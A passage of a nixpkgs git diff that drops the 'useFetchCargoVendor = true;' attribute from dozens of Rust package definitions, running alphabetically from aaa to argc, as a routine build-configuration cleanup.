index 6a763316eca7..58b0991ef06a 100644
--- a/pkgs/by-name/aa/aaa/package.nix
+++ b/pkgs/by-name/aa/aaa/package.nix
@@ -14,7 +14,7 @@ rustPlatform.buildRustPackage rec {
     rev = "v${version}";
     sha256 = "sha256-gIOlPjZOcmVLi9oOn4gBv6F+3Eq6t5b/3fKzoFqxclw=";
   };
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-CHX+Ugy4ND36cpxNEFpnqid6ALHMPXmfXi+D4aktPRk=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/aa/aarch64-esr-decoder/package.nix b/pkgs/by-name/aa/aarch64-esr-decoder/package.nix
index d54b303919c7..1dbc75bd6773 100644
--- a/pkgs/by-name/aa/aarch64-esr-decoder/package.nix
+++ b/pkgs/by-name/aa/aarch64-esr-decoder/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-U9i5L3s4oQOIqlECSaKkHxS2Vzr6SY4tIUpvl3+oSl0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-LiNnTNpluQkomQhIOsAnUbbBftTgqgNdpT8heCrBayg=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/aa/aardvark-dns/package.nix b/pkgs/by-name/aa/aardvark-dns/package.nix
index 9d474256795a..5c52c9484ce9 100644
--- a/pkgs/by-name/aa/aardvark-dns/package.nix
+++ b/pkgs/by-name/aa/aardvark-dns/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-mWaB1E/n/N2Tb5bqrMJX2XfPvZBCG+dxar3kGCHgv0I=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-t9qfPz4Jy1RueiDEY2fB3Y1uty0i/Wf0ElsR+nSVF5g=";
 
   passthru.tests = { inherit (nixosTests) podman; };
diff --git a/pkgs/by-name/ab/ab-av1/package.nix b/pkgs/by-name/ab/ab-av1/package.nix
index 21122c2bbeba..cb24b07d1e35 100644
--- a/pkgs/by-name/ab/ab-av1/package.nix
+++ b/pkgs/by-name/ab/ab-av1/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-FqyY4HUOrpSsqR5XO96+IXnT7w8C1gGfia0YH1d/nkg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-nadMsYt1RaZbqArSEiz/kAz/HuTS0E3bsn94D9UmAME=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/ab/aba/package.nix b/pkgs/by-name/ab/aba/package.nix
index 71bb572f0a70..768b176a3429 100644
--- a/pkgs/by-name/ab/aba/package.nix
+++ b/pkgs/by-name/ab/aba/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-2zVQNchL4DFh2v2/kwupJTBSmXiKqlxzUMrP9TbfCMs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-U1f68DY+yV6Uxwk1Re0eSNCFWYrYKCN08hJAYcp4ksE=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ac/action-validator/package.nix b/pkgs/by-name/ac/action-validator/package.nix
index df8b6c2fec76..591ed89c4ba5 100644
--- a/pkgs/by-name/ac/action-validator/package.nix
+++ b/pkgs/by-name/ac/action-validator/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage {
     fetchSubmodules = true;
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-FuJ5NzeZhfN312wK5Q1DgIXUAN6hqxu/1BhGqasbdS8=";
 
   passthru.updateScript = unstableGitUpdater {
diff --git a/pkgs/by-name/ad/ad/package.nix b/pkgs/by-name/ad/ad/package.nix
index 6f0a7430f74b..1fcd81abc2ee 100644
--- a/pkgs/by-name/ad/ad/package.nix
+++ b/pkgs/by-name/ad/ad/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "0rd4krklpnvaimzblqx2ckab6lk4apkmvnqr618gnx8i5f4nyl6m";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256:12g3fcym8184py66fgwahpb9q05dm9r9rbhh4l50yd62gkmifc93";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/ad/adguardian/package.nix b/pkgs/by-name/ad/adguardian/package.nix
index f4966916c8ef..1e3331099c55 100644
--- a/pkgs/by-name/ad/adguardian/package.nix
+++ b/pkgs/by-name/ad/adguardian/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-WxrSmCwLnXXs5g/hN3xWE66P5n0RD/L9MJpf5N2iNtY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-yPDysaslL/7N60eZ/hqZl5ZXIsof/pvlgHYfW1mIWtI=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ad/adrs/package.nix b/pkgs/by-name/ad/adrs/package.nix
index ff607c4d23b6..5fe176eea542 100644
--- a/pkgs/by-name/ad/adrs/package.nix
+++ b/pkgs/by-name/ad/adrs/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-C9Kg7xY3Q0xsd2DlUcc3OM+/hyzmwz55oi6Ul3K7zkM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Ep1Y2PDNesaDzEc2JNoKZjFSay1utZiNR5eQYhdqiUU=";
 
   meta = {
diff --git a/pkgs/by-name/ae/aerogramme/package.nix b/pkgs/by-name/ae/aerogramme/package.nix
index b67eebb5462d..c3699568f8fd 100644
--- a/pkgs/by-name/ae/aerogramme/package.nix
+++ b/pkgs/by-name/ae/aerogramme/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     ./0001-update-time-rs.patch
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-GPj8qhfKgfAadQD9DJafN4ec8L6oY62PS/w/ljkPHpw=";
 
   # disable network tests as Nix sandbox breaks them
diff --git a/pkgs/by-name/af/afterburn/package.nix b/pkgs/by-name/af/afterburn/package.nix
index 7d763191735f..898c714a7a1a 100644
--- a/pkgs/by-name/af/afterburn/package.nix
+++ b/pkgs/by-name/af/afterburn/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-j2eQUro0Rx1axBAaZDNICRrkygb4JAyxVAER/5BXXLY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-xA5hp7a4DFMh8Xrh2ft94s6aNjORKtyCuNy4GgJbSsw=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ag/agate/package.nix b/pkgs/by-name/ag/agate/package.nix
index 74146a1e546c..b2592b530e39 100644
--- a/pkgs/by-name/ag/agate/package.nix
+++ b/pkgs/by-name/ag/agate/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-3IVl11eG9gSriOddgzgF0FecdldBxEOE/UXlFDKGyic=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-pVxXUFuHyQ7YBJ6cBv3wPK5aZOs2QIhKf9awwY/y1hw=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ag/age-plugin-ledger/package.nix b/pkgs/by-name/ag/age-plugin-ledger/package.nix
index c885ff169ff8..9f550e5c44c5 100644
--- a/pkgs/by-name/ag/age-plugin-ledger/package.nix
+++ b/pkgs/by-name/ag/age-plugin-ledger/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-g5GbWXhaGEafiM3qkGlRXHcOzPZl2pbDWEBPg4gQWcg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-zR7gJNIqno50bQo0kondCxEC0ZgssqXNqACF6fnLDrc=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ag/age-plugin-yubikey/package.nix b/pkgs/by-name/ag/age-plugin-yubikey/package.nix
index 8968bedba184..9a2d46fcc282 100644
--- a/pkgs/by-name/ag/age-plugin-yubikey/package.nix
+++ b/pkgs/by-name/ag/age-plugin-yubikey/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-vfemYGQnn3IzG7Y6iVKHZlYN+55/+A+N/GMG3TLs1h0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-CVbRKKX2A0MrHgjkjKAXhX80db1fimFlNxusvseUnxQ=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ag/agenix-cli/package.nix b/pkgs/by-name/ag/agenix-cli/package.nix
index 9455a397cd2f..c0bb1d7a11cf 100644
--- a/pkgs/by-name/ag/agenix-cli/package.nix
+++ b/pkgs/by-name/ag/agenix-cli/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-0+QVY1sDhGF4hAN6m2FdKZgm9V1cuGGjY4aitRBnvKg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-xpA9BTA7EK3Pw8EJOjIq1ulBAcX4yNhc4kqhxsoCbv0=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/ai/aichat/package.nix b/pkgs/by-name/ai/aichat/package.nix
index 88a31667aa53..ef01f75cf298 100644
--- a/pkgs/by-name/ai/aichat/package.nix
+++ b/pkgs/by-name/ai/aichat/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-5fXZfRrHBAtjUa1VzzsdoFvXQSPQ8YUNJ7yhZlp58tM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-YK2mps9DUs4HNFmYHtZHTJREuImlQ24y64ykGr8ovTs=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ai/aiken/package.nix b/pkgs/by-name/ai/aiken/package.nix
index 97c1dd836453..65b4154e7670 100644
--- a/pkgs/by-name/ai/aiken/package.nix
+++ b/pkgs/by-name/ai/aiken/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-bEsBLihMqYHJa5913Q434xKVufxTrcaxwcANPV9u37U=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Ob4UuBLD6HFbghv4E2XMj+xVeUSFtc9qPUNuUDgZeQA=";
 
   buildInputs = [ openssl ];
diff --git a/pkgs/by-name/ai/air-formatter/package.nix b/pkgs/by-name/ai/air-formatter/package.nix
index c448290cca87..e6365c9a6b19 100644
--- a/pkgs/by-name/ai/air-formatter/package.nix
+++ b/pkgs/by-name/ai/air-formatter/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
   # Remove duplicate entries from cargo lock
   cargoPatches = [ ./cargo-lock.patch ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3v/pgm6BjPvQToSmZ2PrUWTrgffjifB3Xmp1liWCUck=";
 
   useNextest = true;
diff --git a/pkgs/by-name/ai/airgorah/package.nix b/pkgs/by-name/ai/airgorah/package.nix
index 9a0fa89264d1..bbab7c978ff3 100644
--- a/pkgs/by-name/ai/airgorah/package.nix
+++ b/pkgs/by-name/ai/airgorah/package.nix
@@ -24,7 +24,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-cIb40TKkk3gfy4dTP8WyZqQkRGj5nItaQ3NSfexCUOA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3Les/A9fBBjU6NSVVEyXCbjrNSdaEgCl5pZ36ceRDQg=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ai/airshipper/package.nix b/pkgs/by-name/ai/airshipper/package.nix
index 20eb366cd1fa..ef3561ab21ff 100644
--- a/pkgs/by-name/ai/airshipper/package.nix
+++ b/pkgs/by-name/ai/airshipper/package.nix
@@ -68,7 +68,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-MHwyXCAqdBzdJlYzSeUXr6bJdTVHcjJ/kGcuAsZCCW8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-TkeB939zV5VvqICFqJd/7uX+ydXyEQOJ3sYQbHbZhP0=";
 
   buildInputs = [
diff --git a/pkgs/by-name/al/alacritty/package.nix b/pkgs/by-name/al/alacritty/package.nix
index bc65dc2a0f63..9a844ca4afd0 100644
--- a/pkgs/by-name/al/alacritty/package.nix
+++ b/pkgs/by-name/al/alacritty/package.nix
@@ -52,7 +52,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-/yERMNfCFLPb1S17Y9OacVH8UobDIIZDhM2qPzf5Vds=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-uXwefUV1NAKqwwPIWj4Slkx0c5b+RfLR3caTb42fc4M=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/al/alcom/package.nix b/pkgs/by-name/al/alcom/package.nix
index b022cfce8a6f..95b60c92cca5 100644
--- a/pkgs/by-name/al/alcom/package.nix
+++ b/pkgs/by-name/al/alcom/package.nix
@@ -77,7 +77,6 @@ rustPlatform.buildRustPackage {
   ++ dotnetSdk.packages
   ++ dotnetBuild.nugetDeps;
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Ph6QZW21JYQJgrUecN+MklWuY51iKC2glPEdgxw+3r8=";
   buildAndTestSubdir = subdir;
 
diff --git a/pkgs/by-name/al/alejandra/package.nix b/pkgs/by-name/al/alejandra/package.nix
index d694755d2de5..443c825d15ac 100644
--- a/pkgs/by-name/al/alejandra/package.nix
+++ b/pkgs/by-name/al/alejandra/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Oi1n2ncF4/AWeY6X55o2FddIRICokbciqFYK64XorYk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-IX4xp8llB7USpS/SSQ9L8+17hQk5nkXFP8NgFKVLqKU=";
 
   passthru.tests = {
diff --git a/pkgs/by-name/al/alexandria/package.nix b/pkgs/by-name/al/alexandria/package.nix
index 345f66c6470a..aadbb7714255 100644
--- a/pkgs/by-name/al/alexandria/package.nix
+++ b/pkgs/by-name/al/alexandria/package.nix
@@ -35,7 +35,6 @@ rustPlatform.buildRustPackage rec {
   cargoRoot = "src-tauri";
   buildAndTestSubdir = "src-tauri";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-VX/G4dF9DhlGfifp4xf9xkXli7BHFtKY2+HaMHqqPiA=";
 
   env = {
diff --git a/pkgs/by-name/al/alfis/package.nix b/pkgs/by-name/al/alfis/package.nix
index d6a3a2d93618..165ca125fc28 100644
--- a/pkgs/by-name/al/alfis/package.nix
+++ b/pkgs/by-name/al/alfis/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ettStNktSDZnYNN/IWqTB1Ou1g1QEGFabS4EatnDLaE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-xe0YQCKnDV6M6IKWgljsuJ5ZevkdpxZDnNHAHKJyUec=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/al/alioth/package.nix b/pkgs/by-name/al/alioth/package.nix
index 8ddb7c933f52..92874024eecd 100644
--- a/pkgs/by-name/al/alioth/package.nix
+++ b/pkgs/by-name/al/alioth/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
   # Checks use `debug_assert_eq!`
   checkType = "debug";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-x2Abw/RVKpPx0EWyF3w0kywtd23A+NSNaHRVZ4oB1jI=";
 
   separateDebugInfo = true;
diff --git a/pkgs/by-name/al/alistral/package.nix b/pkgs/by-name/al/alistral/package.nix
index a817172589f3..c9777d8904c2 100644
--- a/pkgs/by-name/al/alistral/package.nix
+++ b/pkgs/by-name/al/alistral/package.nix
@@ -26,7 +26,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
       --replace-fail 'rust-version = "1.85.0"' ""
   '';
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-lq+0R5g4MwVm8ESjKpz+aymjpqcaAE856XnBtYXYs8A=";
 
   env.RUSTC_BOOTSTRAP = 1;
diff --git a/pkgs/by-name/al/alvr/package.nix b/pkgs/by-name/al/alvr/package.nix
index b82579aa1b80..5c743049e6c5 100644
--- a/pkgs/by-name/al/alvr/package.nix
+++ b/pkgs/by-name/al/alvr/package.nix
@@ -50,7 +50,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-h7/fuuolxbNkjUbqXZ7NTb1AEaDMFaGv/S05faO2HIc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-A0ADPMhsREH1C/xpSxW4W2u4ziDrKRrQyY5kBDn//gQ=";
 
   patches = [
diff --git a/pkgs/by-name/am/amazon-q-cli/package.nix b/pkgs/by-name/am/amazon-q-cli/package.nix
index 17ee8e671f3a..76c0b81d8c46 100644
--- a/pkgs/by-name/am/amazon-q-cli/package.nix
+++ b/pkgs/by-name/am/amazon-q-cli/package.nix
@@ -16,8 +16,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-oY2hDOsws2WVQPKEFhGNPHITo26p/UZ5XzvRX7DoMyc=";
   };
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-xriK88OY6W1cOZVgiUPBIuItVHwEyFNq5Ywh367K6CU=";
 
   cargoBuildFlags = [
diff --git a/pkgs/by-name/am/amber-lang/package.nix b/pkgs/by-name/am/amber-lang/package.nix
index 727d70e23c5f..56850eda0712 100644
--- a/pkgs/by-name/am/amber-lang/package.nix
+++ b/pkgs/by-name/am/amber-lang/package.nix
@@ -29,7 +29,6 @@ rustPlatform.buildRustPackage rec {
     ./fix_gnused_detection.patch
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-e5+L7Qgd6hyqT1Pb9X7bVtRr+xm428Z5J4hhsYNnGtU=";
 
   preConfigure = ''
diff --git a/pkgs/by-name/am/amber-secret/package.nix b/pkgs/by-name/am/amber-secret/package.nix
index a05d3fbab349..c94f428f8c5b 100644
--- a/pkgs/by-name/am/amber-secret/package.nix
+++ b/pkgs/by-name/am/amber-secret/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-nduSnDhLvHpZD7Y1zeZC4nNL7P1qfLWc0yMpsdqrKHM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Gwj0rnbKWifja5NJwskcrFpPoK15HjSQHXolGbgV784=";
 
   meta = {
diff --git a/pkgs/by-name/am/amber/package.nix b/pkgs/by-name/am/amber/package.nix
index 8a8eef4bb0d2..71935e8b2315 100644
--- a/pkgs/by-name/am/amber/package.nix
+++ b/pkgs/by-name/am/amber/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-q0o2PQngbDLumck27V0bIiB35zesn55Y+MwK2GjNVWo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-UFuWD3phcKuayQITd85Sou4ygDBMzjrR39vWrlseYJQ=";
 
   buildInputs = lib.optionals stdenv.hostPlatform.isDarwin [
diff --git a/pkgs/by-name/am/amdgpu_top/package.nix b/pkgs/by-name/am/amdgpu_top/package.nix
index a4627056ac62..2e308fcbb78d 100644
--- a/pkgs/by-name/am/amdgpu_top/package.nix
+++ b/pkgs/by-name/am/amdgpu_top/package.nix
@@ -25,7 +25,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-OvxrcVjngIW/fVIPX1XhbGImAeDifoLzlaZpXUYS9FA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-na6pghbJ7Ek+rdbX4qJt2kv7C3AAqpgU/nYHaT9CQdo=";
 
   buildInputs = [
diff --git a/pkgs/by-name/am/amp/package.nix b/pkgs/by-name/am/amp/package.nix
index 80f42e08f8dc..11a332d259a4 100644
--- a/pkgs/by-name/am/amp/package.nix
+++ b/pkgs/by-name/am/amp/package.nix
@@ -26,7 +26,6 @@ rustPlatform.buildRustPackage rec {
 
   cargoPatches = [ ./update_time_crate.patch ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-4lYywaPTfoOHEYHy+h7HfWn+OaDdk166tQ8ZFx9XZK0=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/an/anchor/package.nix b/pkgs/by-name/an/anchor/package.nix
index 46c6d61e5a09..87b65ad354e7 100644
--- a/pkgs/by-name/an/anchor/package.nix
+++ b/pkgs/by-name/an/anchor/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     fetchSubmodules = true;
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-fjhLA+utQdgR75wg+/N4VwASW6+YBHglRPj14sPHmGA=";
 
   checkFlags = [
diff --git a/pkgs/by-name/an/anewer/package.nix b/pkgs/by-name/an/anewer/package.nix
index 5541e23b86cc..ced157d208e9 100644
--- a/pkgs/by-name/an/anewer/package.nix
+++ b/pkgs/by-name/an/anewer/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "181mi674354bddnq894yyq587w7skjh35vn61i41vfi6lqz5dy3d";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ojgm5LTOOhnGS7tUD1UUktviivp68u0c06gIJNhEO1E=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/an/angle-grinder/package.nix b/pkgs/by-name/an/angle-grinder/package.nix
index 9c9a827a01ce..a3c87e3d8330 100644
--- a/pkgs/by-name/an/angle-grinder/package.nix
+++ b/pkgs/by-name/an/angle-grinder/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-1SZho04qJcNi84ZkDmxoVkLx9VJX04QINZQ6ZEoCq+c=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-B7JFwFzE8ZvbTjCUZ6IEtjavPGkx3Nb9FMSPbNFqiuU=";
 
   passthru = {
diff --git a/pkgs/by-name/an/angryoxide/package.nix b/pkgs/by-name/an/angryoxide/package.nix
index 5abe04cd555a..e896edfbe506 100644
--- a/pkgs/by-name/an/angryoxide/package.nix
+++ b/pkgs/by-name/an/angryoxide/package.nix
@@ -33,7 +33,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     ln -s ${libwifi} libs/libwifi
   '';
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-mry4l0a7DZOWkrChU40OVRCBjKwI39cyZtvEBA5tro0=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/an/ansi/package.nix b/pkgs/by-name/an/ansi/package.nix
index 2afd42a5fe1c..cb94bae9a31b 100644
--- a/pkgs/by-name/an/ansi/package.nix
+++ b/pkgs/by-name/an/ansi/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-15C389g4PrI8Qg25B1LxFgb7gkABw0q0O5RDg3YTv3w=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-u7BfevNT3f7YVFke9BzHK/LHHYJZlGTYyg0dENc1pVs=";
 
   meta = {
diff --git a/pkgs/by-name/an/ante/package.nix b/pkgs/by-name/an/ante/package.nix
index 7baa4d93d4ff..7dbb7bcaf0cf 100644
--- a/pkgs/by-name/an/ante/package.nix
+++ b/pkgs/by-name/an/ante/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-UKEoOm+Jc0YUwO74Tn038MLeX/c3d2z8I0cTBVfX61U=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-uOOSxRoc59XzJT5oVO2NOYC0BwrNq4X6Jd/gQz0ZBp8=";
 
   /*
diff --git a/pkgs/by-name/an/anup/package.nix b/pkgs/by-name/an/anup/package.nix
index c40278653f65..85128dfc78b2 100644
--- a/pkgs/by-name/an/anup/package.nix
+++ b/pkgs/by-name/an/anup/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-4pXF4p4K8+YihVB9NdgT6bOidmQEgWXUbcbvgXJ0IDA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-925R5pG514JiA7iUegFkxrDpA3o7T/Ct4Igqqcdo3rw=";
 
   buildInputs = [
diff --git a/pkgs/by-name/an/anyrun/package.nix b/pkgs/by-name/an/anyrun/package.nix
index 232cb1c23748..30316a85fc50 100644
--- a/pkgs/by-name/an/anyrun/package.nix
+++ b/pkgs/by-name/an/anyrun/package.nix
@@ -26,7 +26,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-0zJs4J4w1jG83hByNJ+WxANHW7sLzMdvA408LDCCnTY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ouAeoSCmkvWgxAUA/VYITm9/XvxmN+TdyZgEGgBGdKI=";
 
   strictDeps = true;
diff --git a/pkgs/by-name/ao/aoc-cli/package.nix b/pkgs/by-name/ao/aoc-cli/package.nix
index f63e2586bc79..67bac33c7119 100644
--- a/pkgs/by-name/ao/aoc-cli/package.nix
+++ b/pkgs/by-name/ao/aoc-cli/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
 
   buildInputs = [ openssl ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-cm8yt7PRjar21EVFIjXYgDkO7+VpHGIB3tJ8hkK+Phw=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ao/aonsoku/package.nix b/pkgs/by-name/ao/aonsoku/package.nix
index 38bdf6850e86..d4ba656cc0ab 100644
--- a/pkgs/by-name/ao/aonsoku/package.nix
+++ b/pkgs/by-name/ao/aonsoku/package.nix
@@ -33,7 +33,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
 
   cargoRoot = "src-tauri";
   buildAndTestSubdir = finalAttrs.cargoRoot;
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-8UtfL8iB1XKP31GT9Ok5hIQSobQTm681uiluG+IhK/s=";
 
   patches = [ ./remove_updater.patch ];
diff --git a/pkgs/by-name/ap/apftool-rs/package.nix b/pkgs/by-name/ap/apftool-rs/package.nix
index 8305ca383dca..a211bd8eaefe 100644
--- a/pkgs/by-name/ap/apftool-rs/package.nix
+++ b/pkgs/by-name/ap/apftool-rs/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-0+eKxaLKZBRLdydXxUbifFfFncAbthUn7AB8QieWaXM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-IJEEnNIW44kItB19U1lNGi1cHpVGaGHQZt2kgAJFkjU=";
 
   meta = {
diff --git a/pkgs/by-name/ap/aphorme/package.nix b/pkgs/by-name/ap/aphorme/package.nix
index 2f2b008aa8ca..efec6a311277 100644
--- a/pkgs/by-name/ap/aphorme/package.nix
+++ b/pkgs/by-name/ap/aphorme/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-p1ZIMMDyQWVzoeyHb3sbeV6XQwbIDoQwJU8ynI8hGUI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-knxFQ9hBBc8zATwf4ntbbmT2a+33uYcqax8AAFsj/NM=";
 
   # No tests exist
diff --git a/pkgs/by-name/ap/apkeep/package.nix b/pkgs/by-name/ap/apkeep/package.nix
index e95face53a8d..91c5a01c3ab4 100644
--- a/pkgs/by-name/ap/apkeep/package.nix
+++ b/pkgs/by-name/ap/apkeep/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-YjGfnYK22RIVa8D8CWnAxHGDqXENGAPIeQQ606Q3JW8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-CwucGAwAvxePNQu5p1OWx9o9xsvpzX1abH6HyF43nEE=";
 
   prePatch = ''
diff --git a/pkgs/by-name/ap/apt-swarm/package.nix b/pkgs/by-name/ap/apt-swarm/package.nix
index fa0aec2c877c..863fcca55eaa 100644
--- a/pkgs/by-name/ap/apt-swarm/package.nix
+++ b/pkgs/by-name/ap/apt-swarm/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-zb0X6vIRKeI5Ysc88sTCJBlr9r8hrsTq5YR7YCg1L30=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-PELTEzhsFa1nl7iqrjnuXEI0U7L8rL9XW9XqQ04rz/s=";
 
   meta = {
diff --git a/pkgs/by-name/ar/ares-rs/package.nix b/pkgs/by-name/ar/ares-rs/package.nix
index 4e7ba2a2b08e..4c6ea9070b41 100644
--- a/pkgs/by-name/ar/ares-rs/package.nix
+++ b/pkgs/by-name/ar/ares-rs/package.nix
@@ -18,8 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-IsIastLIrPknaJcH8sb0plPme+VGvo9DeDIisTD4sRM=";
   };
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-3L1LpmH96rYFB947sEhZcDK5g97zUgr2runjc1EYzZk=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ar/argc/package.nix b/pkgs/by-name/ar/argc/package.nix
index a851e795462c..cede76bfe2f7 100644
--- a/pkgs/by-name/ar/argc/package.nix
+++ b/pkgs/by-name/ar/argc/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-sviGDwxbCBsNY5viV7Qim6B/COd1Uz0Wj/6n/Ge+A50=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-uyUwmTDa1RcgQbc/6wMwRK6932CatuGMr0FPd2rAufk=";
 
   nativeBuildInputs = [ installShellFiles ] ++ lib.optional (!canExecuteHost) buildPackages.argc;
diff --git a/pkgs/by-name/ar/argon/package.nix b/pkgs/by-name/ar/argon/package.nix
index ad6a12c76a90..13140f6d5c0e 100644
--- a/pkgs/by-name/ar/argon/package.nix
